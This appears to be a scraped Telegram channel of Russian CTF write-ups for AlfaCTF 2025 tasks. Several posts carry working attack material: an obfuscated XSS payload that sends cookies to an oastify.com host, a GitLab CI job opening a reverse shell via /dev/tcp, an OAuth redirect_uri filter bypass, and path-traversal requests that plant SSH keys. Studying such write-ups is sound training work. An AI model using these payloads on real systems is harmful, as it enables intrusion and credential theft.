ch
Feedback
Райтапы по CTF{2026}

Райтапы по CTF{2026}

前往频道在 Telegram

☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ 💬 Наш чатик: @writeup_chat ✍️ По любому вопросу можно писать мне: @freenameruuuu ✅ Таски решать тут: @writeup_ctf_bot

显示更多
4 326
订阅者
+124 小时
+127
+11530
帖子存档
#Hard #Web #Infra #alfactf2025 Запреты Роскамбалы от @graalogosh 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

Подборка райтапов с прошедшего AlfaCTF: Задания кстати все еще доступны https://alfactf.ru/tasks 🛡 Защита от спама (https://t.me/writeup_ctf/784) #Easy #Infra #Web 🎶 Звуки ностальгии (https://t.me/writeup_ctf/783) #Easy #Misc #OSINT 🌊 Цунами дедлайнов (https://t.me/writeup_ctf/793) #Easy #Web 🌈🎛 Кислотный ретровейв (https://t.me/writeup_ctf/786) #Easy #Web 🌴💰 Пальма с биткоинами (https://t.me/writeup_ctf/785) #Easy #Web #JS 👨‍💻🏖 Разработчик на пляже (https://t.me/writeup_ctf/790) #Medium #Infra #Dev #Pentest 🎵🌀 Вихрь рик-ролла (https://t.me/writeup_ctf/789) #Medium #Web #Logic 🐺🌊 Шакализация волны (https://t.me/writeup_ctf/788) #Medium #Web #OAuth #Client 📹🚁 Десант блогеров (https://t.me/writeup_ctf/787) #Medium #Web #Logic 🌇🛠 Фиксы в лучах заката (https://t.me/writeup_ctf/792) #Hard #Forensics #Linux #Infra #LPE 🥒😈 Дикий огурец (https://t.me/writeup_ctf/791) #Hard #Pwn #Python 🏍⚡️ Непослушный мотоциклист (https://t.me/writeup_ctf/795) #Hard #Coding #Reverse #Network 🧱🔙 Возвращение стены (https://t.me/writeup_ctf/794) #Hard #Web #Client 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#alfactf2025 Чилловый день от @gamebun1 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#Hard #Coding #Reverse #Network #alfactf2025 IT-лига Непослушный мотоциклист от @graalogosh 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Возвращение стены, автор @Dan1Lev Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар. На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "
Защита есть только со стороны фронта которая даст отправить только url. Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота. Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы. Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям. Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "
Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы. Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль. Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="
После установки создаём 3 поста и спустя мгновение получаем куки с флагом 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Студенческая лига Цунами дедлайнов автор @THL_1xBtc 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#alfactf2025 Фиксы в лучах заката, автор @purplesyringa NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии. Утверждается, что а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Дикий огурец, автор @ivan_komarov ➡️ https://gist.github.com/dfyz/f0023bd0b297a9c18e5000ae6fb55538 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Разработчик на пляже от моего тиммейта @Dan1Lev Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php
Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt
Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
  - build

shell:
  stage: build
  script:
    - sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1
В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост подключаемся и забираем флаг 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Студенческая лига Вихрь рик-ролла, автор @filemonenok доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Шакализация волны от @Dan1Lev, наша команда xyz ❤️ tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации. shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]
вернёт
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
что как раз проходит по условию. 🔹 В момент запроса строка
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
преобразуется в
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер. После этого полученные данные отправляем на tv.alfactf.ru/api/auth/callback и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Десант блогеров, автор мой тиммейт @ValMor1251 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Кислотный ретровейв, автор @p_domarev 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Пальма с биткоинами, автор @p_domarev 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#web #alfactf2025 Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie Ребята заняли 9 место! Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}
Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Содержимое .config.yaml:
exclude_files_and_dirs:
  - ".profile"
  - ".bashrc"
  - ".bash_history"
  - ".bash_logout"
  - ".bash_profile"
  - ".history"
  - ".viminfo"
  - ".ssh/authorized_keys"

  - "/etc/"
  - "/proc/"
  - "/sys/"
  - "/home/"
  - "/root/"
  - "/usr/"
  - "/var/"
  - "/tmp/"
  - "/dev/"
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"

.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--
После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

Я знаю, вы хотели этот райтап! #osint #alfactf2025 Звуки ностальгии автор: @p_domarev 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00! Оперативно выложу! 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#pwn undefined-pointer🧑‍💻 Один дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
45.12.114.80:32000
Автор: @s41nt0l3xus После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта. Зеркало тасков Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot #таск@writeup_ctf 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

#pwn rock-n-rollback 🪓 Теперь нет необходимости запоминать указатели и вызывать free!
45.12.114.80:32002
Автор: @s41nt0l3xus После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта. Зеркало тасков Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot #таск@writeup_ctf 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube

Repost from CyberCamp
Все на борт! CyberCamp 2025 открывает регистрацию 😎 Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойч
Все на борт! CyberCamp 2025 открывает регистрацию 😎 Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойчивость. Мы разберем, как эффективно действовать в условиях постоянных кибератак. В программе: 🔤40+ докладов и выступлений от экспертов из компаний BI.ZОNE, F6, Ozon, Positive Technologies, Inseca, Инфосистемы Джет, Лаборатория Касперского и др. Часть докладов будут доступны еще до эфира! 🔤10 000+ соло-участников и 40+ практических заданий от авторов кэмпа, спикеров и комьюнити 🔤1 000 участников и 15+ сценариев командных киберучений в корпоративной и студенческой лигах 🔤курсы и практика по ИБ от ведущих учебных центров, а также экзамен в кандидаты ССК 🔤онлайн-консультации тет-а-тет с топовыми специалистами на волнующие темы в кибербезе 🔤7 000 000 рублей 🪙 общего призового фонда для команд и соло-участников Залетай на CyberCamp 2025 — первые задания уже доступны после регистрации ☀️ ©️ Регистрация l 😺 Чат